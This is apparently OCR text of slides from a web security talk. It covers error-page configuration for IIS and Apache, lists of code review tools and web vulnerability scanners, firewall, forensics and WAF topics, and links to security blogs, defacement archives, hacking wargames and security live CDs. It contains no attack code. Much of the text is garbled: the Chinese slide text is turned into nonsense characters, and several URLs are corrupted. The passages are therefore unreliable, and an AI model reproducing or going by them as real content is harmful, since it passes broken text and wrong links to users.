500:13 X CAWINN ThhelphiisHelp'\common\500-13 htm
500:15 Bx CAWINN T\help\iisHelp'commoni500-15 htm

[ [ T T T (T (T (T

: fushelp/common/500-100.asp
501 JEER{E  "NotImplemented"
502 JEEX{E  "Bad Gateway" -
w
{ AREANEE).. ax A HERIES)

e | mw | =5e | e




Apache - ErrorDocument

> ErrorDocument 403 /block.html
> ErrorDocument 404 /block.html|
> ErrorDocument 500 /block.htm]
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Code Review

> RN EE R LI (TR R AT 0 BN B LA 1

& &

+ Microsoft Source Code Analyzer (ASP)
¢ CodeScan ( ASP/PHP )

¢ CodeSecure ( PHP/JSP )

¢ Ounce ( Java/.NET )

¢ Pixy ( PHP)

¢ Fortify SCA ( .NET/Java)

o SWAAT ( PHP)

¢ Spike PHP Security Audit Tool (PHP )
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Web Vulnerability Scanner

> Free
o Nikto
¢ Wikto
¢ (HP) Scrawlr

> Commercial
¢ (HP) SPI Dynamics - Weblnspect
¢ (IBM) Watchfire - AppScan
¢ Acunetix - Web Vulnerability Scanner
+ N-Stalker - Web Application Security Scanner

87



Web Vulnerability Scan

> @ it 22 Web Vulnerability Scanner :& =7 #

=F

o TH

o Gzt & B L pE
o T AP + &m

L 4 '/'2/ ;iﬁi 7Y { lfz

¢ { %7 signature s
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Firewall / IPS

> R Ak 2R ~ N 2R 80 port

> [EFE N IRE R ez A

host/port
> P A g S

WAL & h

> 11 netflow/sflow/port mirror 3+t & 345
> 3% § A7 signature ™ #3577 s #F

89



Network Forensics System

> BIEATH 4 e XOREIE 5 40T P oS SR HRL
> FOTFERA N Rag [T NE?:I;C‘?’Z Rz = %
> 3 PR 4 'Juﬁyf”” €2 WAL

> it E T R R TR FRHIPAAE fp i
#ﬁgza & RF R R PR
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Web Application Firewall
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SDLC
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Bt o TR DS f;%:;‘?'{a‘%

I 2

¢ http://rogerspeaking.com/

> R IT P OB
+ http://anti-hacker.blogspot.com/

> X F--ini P 2 B
¢ http:/tw.myblog.yahoo.com/edward 205 6/

> BE 2P — TWaR ARG Fap = E

o http://www.itis.tw/compromised
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> Xssed
¢ http://www.xssed.com/archive

> Zone-h

¢ http://www.zone-
h.org/component/option,com_attacks/ltemid,44/

> 7 OBAR R R A K SR
¢ http://www.zone-h.com.cn/

> .tw Turk-h.Org
¢ http://turk-h.org/defacement/list/filter/url/.tw
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Wargames (1)

> http://wargame.cna.ccu.edu.tw/

> http://wargame.dyns.cx/

> http://hackerslab.org/

> http://trythisOne.com/

> http://www.dareyourmind.net/

> http://www.smashthestack.org/

> http://'www.pulltheplug.org/wargames/
> http://www.hackguest.de/
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Wargames (2)

> http://www.hackergames.net/
> http://www.hack4u.org/

> http://'www.hackthissite.org/
> http://www.darksigns.com/

> http://www.crackmes.de/

> http://www.rootthisbox.org/

> http://www.hackr.org/

> http://www.mod-x.com/
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Wargames (3)

> http://www.hackits.de/

> http://quiz.ngsec.com/game3/

> http://www.hack.ae/

> http://'www.hackerplayground.com/
> http://roothack.org/

> http:/lwww.try2hack.nl/

> http://dualpage.muz.ro/webgame

99



Security Live CD
> BackTrack

¢ http://lwww.remote-exploit.org/backtrack.htmil

> Helix
¢ http://lwww.e-fense.com/helix/

> Nemesis
¢ http://www.skyridr.net/

> Pentoo
¢ http://lwww.pentoo.ch/-PENTOO-.html
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